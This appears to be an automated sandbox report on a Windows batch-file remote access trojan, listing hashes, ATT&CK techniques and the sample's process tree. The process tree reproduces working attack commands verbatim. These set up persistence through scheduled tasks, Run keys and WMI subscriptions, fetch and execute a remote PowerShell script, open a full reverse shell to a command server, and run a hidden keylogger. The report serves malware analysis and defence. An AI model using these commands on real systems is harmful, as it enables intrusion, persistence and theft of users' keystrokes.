37f1eddb34e00857c30e2dd5e344cf63704ce365f20f5bf2dda315864a63589a

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:24

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General

Target
rat_build_69541_014236.bat
Size 4KB
Sample260529-2bcwcaaz4t
SHA256 37f1eddb34e00857c30e2dd5e344cf63704ce365f20f5bf2dda315864a63589a
MD5 3fd2b5f59dbb5cb85f7b3617fdccfdef
SHA1 438e829a12662631ffc6e1392a68e061f730df1f
SHA512 4d96da2bc030e0246b92e90ec4bcbf8ed05de886c6b814607b48cee4debc30019efd260a100ce77d18b16ea517459173fa001c51945e98985be078698f077172
SSDEEP 96:dIYAW1LXLXigTxU42GgmsNd5BlCjwsyk6pKBgJf/h5iFgZk8mvlo1bq:dH1LX9K5yth0KBqh5iFgkHlaq
TLSH
T111A1E7239B6661309EB04A1CD9333C54979CE6FB1344C7CEFB858CC25A4CE4B96295E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_69541.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3084	powershell.exe
5052	powershell.exe
3464	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_69541 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_69541.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3200	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3156	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1836	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2376	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3084	powershell.exe
3084	powershell.exe
5052	powershell.exe
5052	powershell.exe
3464	powershell.exe
3464	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4056	WMIC.exe
Token: SeSecurityPrivilege	4056	WMIC.exe
Token: SeTakeOwnershipPrivilege	4056	WMIC.exe
Token: SeLoadDriverPrivilege	4056	WMIC.exe
Token: SeSystemProfilePrivilege	4056	WMIC.exe
Token: SeSystemtimePrivilege	4056	WMIC.exe
Token: SeProfSingleProcessPrivilege	4056	WMIC.exe
Token: SeIncBasePriorityPrivilege	4056	WMIC.exe
Token: SeCreatePagefilePrivilege	4056	WMIC.exe
Token: SeBackupPrivilege	4056	WMIC.exe
Token: SeRestorePrivilege	4056	WMIC.exe
Token: SeShutdownPrivilege	4056	WMIC.exe
Token: SeDebugPrivilege	4056	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4056	WMIC.exe
Token: SeRemoteShutdownPrivilege	4056	WMIC.exe
Token: SeUndockPrivilege	4056	WMIC.exe
Token: SeManageVolumePrivilege	4056	WMIC.exe
Token: 33	4056	WMIC.exe
Token: 34	4056	WMIC.exe
Token: 35	4056	WMIC.exe
Token: 36	4056	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4056	WMIC.exe
Token: SeSecurityPrivilege	4056	WMIC.exe
Token: SeTakeOwnershipPrivilege	4056	WMIC.exe
Token: SeLoadDriverPrivilege	4056	WMIC.exe
Token: SeSystemProfilePrivilege	4056	WMIC.exe
Token: SeSystemtimePrivilege	4056	WMIC.exe
Token: SeProfSingleProcessPrivilege	4056	WMIC.exe
Token: SeIncBasePriorityPrivilege	4056	WMIC.exe
Token: SeCreatePagefilePrivilege	4056	WMIC.exe
Token: SeBackupPrivilege	4056	WMIC.exe
Token: SeRestorePrivilege	4056	WMIC.exe
Token: SeShutdownPrivilege	4056	WMIC.exe
Token: SeDebugPrivilege	4056	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4056	WMIC.exe
Token: SeRemoteShutdownPrivilege	4056	WMIC.exe
Token: SeUndockPrivilege	4056	WMIC.exe
Token: SeManageVolumePrivilege	4056	WMIC.exe
Token: 33	4056	WMIC.exe
Token: 34	4056	WMIC.exe
Token: 35	4056	WMIC.exe
Token: 36	4056	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3048	WMIC.exe
Token: SeSecurityPrivilege	3048	WMIC.exe
Token: SeTakeOwnershipPrivilege	3048	WMIC.exe
Token: SeLoadDriverPrivilege	3048	WMIC.exe
Token: SeSystemProfilePrivilege	3048	WMIC.exe
Token: SeSystemtimePrivilege	3048	WMIC.exe
Token: SeProfSingleProcessPrivilege	3048	WMIC.exe
Token: SeIncBasePriorityPrivilege	3048	WMIC.exe
Token: SeCreatePagefilePrivilege	3048	WMIC.exe
Token: SeBackupPrivilege	3048	WMIC.exe
Token: SeRestorePrivilege	3048	WMIC.exe
Token: SeShutdownPrivilege	3048	WMIC.exe
Token: SeDebugPrivilege	3048	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3048	WMIC.exe
Token: SeRemoteShutdownPrivilege	3048	WMIC.exe
Token: SeUndockPrivilege	3048	WMIC.exe
Token: SeManageVolumePrivilege	3048	WMIC.exe
Token: 33	3048	WMIC.exe
Token: 34	3048	WMIC.exe
Token: 35	3048	WMIC.exe
Token: 36	3048	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3048	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4084 wrote to memory of 2376	4084	cmd.exe	82
PID 4084 wrote to memory of 1836	4084	cmd.exe	83
PID 4084 wrote to memory of 4056	4084	cmd.exe	84
PID 4084 wrote to memory of 3048	4084	cmd.exe	85
PID 4084 wrote to memory of 2324	4084	cmd.exe	86
PID 4084 wrote to memory of 3156	4084	cmd.exe	88
PID 4084 wrote to memory of 3200	4084	cmd.exe	93
PID 4084 wrote to memory of 3084	4084	cmd.exe	94
PID 4084 wrote to memory of 5052	4084	cmd.exe	95
PID 4084 wrote to memory of 3464	4084	cmd.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_69541_014236.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4084
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_69541" /tr "C:\Users\Admin\AppData\Local\Temp\_69541.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2376
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_69541" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_69541.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1836
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_69541", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4056
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_69541", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_69541.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3048
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_69541.txt
  2⤵
  PID:2324
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3156
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_69541.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3464

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a761ee5dd0e0eee9e7f79eec31d1db3731f30048ddd7c803b7f47d558906d75e
MD5 04a48d94f0b1a9ea5c882c0ca00711e6
SHA1 11f5fa77d32a5c0d6b2404bd246b6bb278a0e206
SHA512 47558ba141e3aa777620d35073a9fd8a85cb7a70050f2c45de3b5be745a77fc4f9640c60c17263adf6fe7ce46da73fb7ce1ab4ea708f0801b1ead7108c561ef6
TLSH
T167117A33B79CC134C8D9117A108DAD11B1B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
MD5 a766b59cb8764029e0daa42ff2d21c3f
SHA1 9ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
SHA512 e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
TLSH
T1DA117A33B79CC135C8D9157A108DAD01B2B5C3CB049EDE8B7A84C509E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2pgg5tjg.ewv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2pgg5tjg.ewv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3084-9-0x0000025172B60000-0x0000025172B82000-memory.dmp

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memory/3084-12-0x0000025171F80000-0x0000025172A42000-memory.dmp

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memory/3464-31-0x0000026A9C210000-0x0000026A9CCD2000-memory.dmp

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memory/5052-22-0x000002036ED80000-0x000002036F842000-memory.dmp

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